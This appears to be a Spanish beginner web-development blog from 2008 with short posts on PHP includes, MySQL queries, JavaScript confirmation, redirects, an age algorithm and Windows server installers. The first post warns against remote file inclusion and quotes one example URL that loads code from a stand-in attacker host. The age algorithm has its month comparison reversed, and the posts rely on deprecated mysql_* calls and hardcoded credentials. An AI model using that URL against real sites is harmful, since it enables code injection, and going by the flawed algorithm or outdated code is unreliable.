Seguridad en la Url

22-Abril-2008
En una web es sumamente importante encontrar una metodología de desarrollo que minimice en lo posible los riesgos de seguridad.  Por decir algo, existe la famosa Inclusión Remota (Remote File Inclusion), que se aprovecha del tan “inocente” error que cometen algunos programadores de utilizar como metodo de inclusión en la url “el nombre completo del archivo” (ruta, nombre, extensión), lo que facilita el trabajo a esos ociosos que solo se dedican a fastidiar.  La idea de este artículo no es hablar sobre todas las vulnerabilidades que existen en la url, más bien lo que quiero es mostrar una forma eficiente y práctica de evitarnos muchos de esos problemas.

Comenzamos aclarando que la idea es mostrar en nuestra url solo el nombre del archivo por defecto (index.php), y que los demás serán incluidos desde este, dependiendo de un valor que pasemos por la url. Para cualquier sección de nuestra web, la dirección será index.php, acompañado de un valor que identifique nuestra sección, por ejemplo

<a href=”index.php”>Inicio</a>
<a href=”index.php?s=1″>Sección 1</a>
<a href=”index.php?s=2″>Sección 2</a>
<a href=”index.php?s=3″>Sección 3</a>
<a href=”index.php?s=4″>Sección 4</a>

Ahora, para que nuestro index sepa qué página se va a incluir, simplemente recuperamos el valor de la url con $_GET, y verificamos si hay una dirección que se corresponda a ese valor, y en caso de ser positivo, se incluye el archivo de esa dirección, como a continuación:

<?php
            $sec=$_GET['s'];
            $ruta=”;
            if (empty($sec))
                        $ruta=”portada.php”;
            if ($sec==’1′)
                        $ruta=”seccion1/eventos.php”;
            if ($sec==’2′)
                        $ruta=”seccion2/recursos.php”;
            if ($sec==’3′)
                        $ruta=”seccion3/descargas.php”;
            if ($sec==’4′)
                        $ruta=”seccion4/info.php”;
            if (!empty($ruta))
                        include($ruta);
?>

En la url solo se vería cualquiera de las siguientes:

index.php
index.php?s=1
index.php?s=2
index.php?s=3
index.php?s=4

Un TREMENDO ERROR (que mencioné al principio) es cuando en nuestra página la url es de la siguiente forma:

index.php?s=descargas.php

Si trabajamos la url de esa forma, cualquier vago que ande navegando por la internet puede modificar la url y hacer algo como:

index.php?s=http://sitiohacker.com/archivo_dañino.php

Pudiendo incluir desde otro servidor un archivo con un código maligno…

Debido a esto, lo más seguro es trabajar la URL de la forma index.php?s=1, donde s=1 será sustituida por una dirección específica de la página, y asi un valor de “s” para cada sección de la página.  De esta forma nadie sabrá cual es la dirección de nuestras carpetas y subcarpetas que contienen los scripts de php


El Algoritmo

13-Abril-2008
Bien lejos de ser familia del “logaritmo”… un algoritmo es, en palabras sencillas, una serie de pasos que llevan un orden lógico, y que deben ejecutarse para resolver una situación o problema.

Un algoritmo puede ser la receta para hacer una torta (pastel), o las instrucciones para instalar cualquier cosa. También en la música se siguen algoritmos para poder ejecutar las diferentes técnic as en la guitarra, o los ejercicios para independizar las piernas y manos en la batería…

Diariamente ejecutamos muchos algoritmos… y lo importante es saber que no todos hacemos las cosas de la misma forma, ya que cada quien le pone algo personal a su algoritmo.. Si yo quisiera hacer un algoritmo de como empezar a programar, yo podría decir:

- abro visual basic
- creo un nuevo proyecto
- agrego un modulo de clase
- empiezo a codificar
- me detengo un momento a tomar agua
- sigo codificando

Tal vez, alguien más exagerado pudiera decir

- le doy al botón de ENCENDIDO de la pc
- si hay luz
- espero que entre a windows
- entro a visual basic
- codifico
- me levanto porque estoy cansado
- apago la pc
- si no hay luz
- le doy un golpe a la pc
- llamo a la compañía de luz
- dejo la pc y me voy molesto
- Me voy a dormir

Un programador nunca tendrá la misma lóge=ica de otro… puede ser que la codificación sea algo parecida, la forma en que ordenan el código, pero siempre tenemos algo personal, que tiene hasta con nuestro caracter. Si somos muy flojos, tal vez no nos importe que nuestro código parezca un desorden, pero si somos perfeccionistas y ordenados, tal vez nos preocuparemos para que nuestro código sea impecable.

Si nunca es igual la apareciencia de nuestro código, mucho menos será igual la lógica usada para resolver un problema. Coincidiremos en algunos puntos donde hay una MUY ÚNICA forma… pero siempre habrá algo propio de nosotros en el algoritmo.

Es importante practicar la elaboración de algoritmos, ya que nos permiten desarrollar más lógica como programadores, y nos permite evaluar cuál será el camino más óptimo encontrar una solución.

El algoritmo ideal es aquel que en menos pasos realiza el trabajo que se requiere…


Abrir multiples base de datos desde mysql

13-Abril-2008
Es muy común tener toda la información que necesitamos en diferentes tablas, contenidas en la misma base de datos. Una vez me pasó que tenía que relacionar 2 tablas en una misma consulta, pero cada tabla estaba en una base de datos diferente. Se me ocurrió que era imposible, ya que creaba 2 links de conección $con1 y $con2,  y cuando revisaba los 2 links, ambos apuntaban a la última base de datos que yo enlazaba… casi me di por vencido, pero alguien me pas;o un tips, y probando y probando, di con lo siguiente:

$sql=”SELECT a.campo1,a.campo2,b.campo1,b.campo2 FROM base1.tabla1 a, base2.tabla2 b WHERE a.campo1=b.campo1 ORDER BY b.campo2,a.campo1 DESC”;

“a” es un alias que representa a “base1.tabla1″ (la tabla de la primera base de datos)
“b” es un alias que representa a “base2.tabla2″ (la tabla de la segunda base de datos)
“a.campo1″ es el “campo1″ de la tabla “tabla1″ de la base de datos “base1″
“a.campo2″ es el “campo2″ de la tabla “tabla1″ de la base de datos “base1″
“b.campo1″ es el “campo1″de la tabla “tabla2″  de la base de datos “base2″
“b.campo2″ es el “campo2″de la tabla “tabla2″  de la base de datos “base2″

Utilicé los alias “a” y “b” para simplificar la consulta, y resulta bastante útil, ya que una consulta con muchos campos y tablas se hace algo difícil de elaborar, y hasta de leer, sobre todo cuando son muchos nombres muy largos como base1.tabla1.campo1… más fácil es escribir a.tabla1…


Pedir confirmación en JavaScript

12-Abril-2008
A veces tenemos en nuestro sitio web un botón o enlace que nos permite eliminar un item de una lista, por ejemplo… Resulta poco práctico pasar a otra página donde solo se va a hacer una pregunta como “Desea eliminar este item?”, para solucionar esto, creamos una función en JavaScript que nos permita confirmar en la misma página donde tenemos el enlace o botón… Quedaría de la siguiente forma:
 
Suponemos un botón:
<input type=”button” value=”Borrar” onClick=”borrar();”>
 
o un enlace:
<a href=”javascript:borrar();”>Borrar</a>
 
El Script de confirmación:
<script language=”javascript”>
  function borrar()
  { res=confirm(’Está seguro de que desea eliminar este registro?’);
  if (res==true)
  document.location.href=’borrar.php’;
  }
</script>

Conectarse desde PHP a MySql

12-Abril-2008
La forma ideal para conectarse a MySql desde PHP sería crear una función como la siguiente:
 
<?php
       function bdd()
       {       if (!$link=mysql_connect(”localhost”,”usuario”,”clave”))
               {       echo “Error al intentar conectarse al servidor”;
                        exit();
               }
               if (!mysql_select_db(”bdd”,$link))
               {       echo “Error al seleccionar base de datos”;
                        exit();
               }
               return $link;
       }
?>
 
Esto nos evitaría estar escribiendo tanto código para conectarnos en cada página donde necesitemos extraer registros de la base de datos. La implementeción sería la siguiente:
 
$c=bdd();
 
y listo! tenemos nuestro link para hacer querys. ejemplo:
 
$r=mysql_query(”select nombres,apellidos from personas order by nombres”,$c);

Redireccionar con HTML

12-Abril-2008
Redireccionar de una página a otra es una técnica bastante útil y frecuente en una sitio web. A veces necesitamos mostrar un mensaje despues que el usuario inicia login, o se equivoca introduciendo sus datos… luego de este mensaje lo enviamos a otra página… si se equivoca, lo enviamos de nuevo a la página para hacer login, pero si sus datos fueron correctos, lo enviamos a la página principal o a otra que deseemos.
 
Para redireccionar a través de HTML, usamos la etiqueta META, suministrándole la “url destino”, y el “tiempo de espera” antes de redireccionar… la sintáxis es la siguiente:
 
<META HTTP-EQUIV=”Refresh” CONTENT=”5;
URL=http://www.anjeiv.com”>
 
Estas etiquetas deben colocarse dentro de las etiquetas <head> y </head>…

Calcular la edad a partir de la fecha de nacimiento

12-Abril-2008
Bien, el algoritmo sería algo así.
 
- Obtenemos la [Fecha de Nacimiento].
- Obtenemos la [Fecha Actual].
- Separamos ambas fechas para obtener [Dia], [Mes], [Año] de cada fecha, respectivamente.
- Restamos [Actual.Año] - [Nacimiento.Año] y eso nos dá la edad que se corresponde al “año actual”.
- Si [Nacimiento.Mes] < [Actual.Mes], se le resta 1 a la edad obtenida anteriormente.
- Si [Nacimiento.Mes] = [Actual.Mes] y [Actual.Dia]<[Nacimiento.Dia], se le resta 1 a la edad obtenida anteriormente.
 
Eso es todo! solo falta adaptarlo a cualquier lenguaje. Es una función muy útil ya que es mejor registrar en una base de datos la fecha de nacimiento y no la edad. Si registramos la edad, ese dato será estático… pero si registramos la fecha de nacimiento, a través de este algoritmo podremos calcular y mostrar la edad actual de la persona, partiendo de su fecha de nacimiento, comparándola con la fecha actual.

PhpMyAdmin

12-Abril-2008
El PhpMyAdmin es una Herramienta para la Administración de Bases de Datos MySql… Es Open Source y puede ser descargado desde la web oficial (http://www.phpmyadmin.net/). Para beneficio nuestro, esta herramienta viene incluida en los paquetes de instalación que hemos mencionado anteriormente (wamp,xampp,appserv y otros más).

Podemos usar el phpmyadmin para crear bases de datos, tablas, para realizar sobre ellas todas las opreaciones que necesitemos, para crear usuarios, establecer privilegos, etc. Es muy intuitiva, y está desarrollada en formato web, con php. Una de sus características resaltantes es que cada vez que se realiza una operación, nos muestra la sentencia mysql que fue utilizada para generar los resultados.

Permite exportar las bases de datos y tablas en formatos muy útiles como PDF, XML, SQL, CSV, XLS y muchos otros… estás son algunas de las ventajas de usar esta poderosa pero sencilla herramienta…

PhpMyAdmin


El “Hola Mundo” de PHP

12-Abril-2008
El “hola mundo” de PHP… es símplemente sencillo:
<?php
echo “hola mundo”;
?>

Este pequeño código nos permite apreciar que las instrucciónes de php deben estar dentro de las etiquetas <?php y ?>. Tambien que la instrucción echo nos permite enviar salida de texto al navegador… Y como es típico de los lenguajes familia de C, la mayoría de las instrucciones terminan en punto y coma…. “;”


Php sobre Windows (forma rápida)

12-Abril-2008
La forma más óptima de instalar PHP en windows es haciéndolo todo manualmente, pero como ya he dicho anteriormente, no busco dar UN CURSO COMPLETO, así que vamos a utilizar métodos rápidos, y que nos van a ahorrar un montón de trabajo.
Si tuvieramos que instalar sobre linux, sería tan sencillo como activar los paquetes correspondientes, PERO, sobre windows necesitamos instalar unos cuantos paquetes… como APACHE, MYSQL, PHP, etc… y luego CONFIGURARLOS… y tambien instalar un gestor de bases de datos, como el PHPMYADMIN para mysql…

Para esto yo utilizo instaladores que permiten configurar a fuerza de click y colocar uno que otros datos… Deben hacer centenares de estos por internet, pero aquí les voy a listar los que yo he usado…

APPSERV
http://www.appservnetwork.com/

WAMP
http://www.wampserver.com/en/

XAMPP
http://www.apachefriends.org/en/xampp-windows.html

Debes recordar los datos que tengas que introducir en la instalación, como el nombre del usuario mysql (que por lo general es “root”), y la clave de mysql… ya que las necesitaras para acceder al servidor de base de datos.

Una vez instalado todo, se crea una carpeta específica que funcionará como servidor, para poder ejecutar nuestro PHP… Según recuerdo, en el caso de WAMP y APPSERV sería lo siguiente:

APPSERV:
c:/AppServ/www/

XAMPP:
c:/wamp/www/